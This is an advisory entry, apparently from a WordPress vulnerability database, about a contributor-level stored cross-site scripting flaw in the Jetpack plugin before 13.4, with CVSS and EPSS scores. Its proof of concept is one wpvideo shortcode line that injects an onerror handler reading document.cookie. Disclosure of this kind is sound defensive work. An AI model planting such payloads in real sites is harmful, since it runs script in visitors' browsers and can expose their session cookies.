WpvulndbWPVDB-ID:5649D116-5263-41E9-87B4-1CB71F12D419Jetpack < 13.4 - Contributor+ Stored Cross-Site Scripting via wpvideo Shortcode
6.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
5.5 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%
Description The plugin did not properly escape some of its shortcode attributes, allowing users with at least the contributor role to conduct Stored XSS attacks.
PoC
[wpvideo OcobLTqC freedom=true preloadContent=‘"src=x onerror=alert(document.cookie) xss’]
| CPE | Name | Operator | Version |
|---|---|---|---|
| eq | 13.4 |
Related
6.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
5.5 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%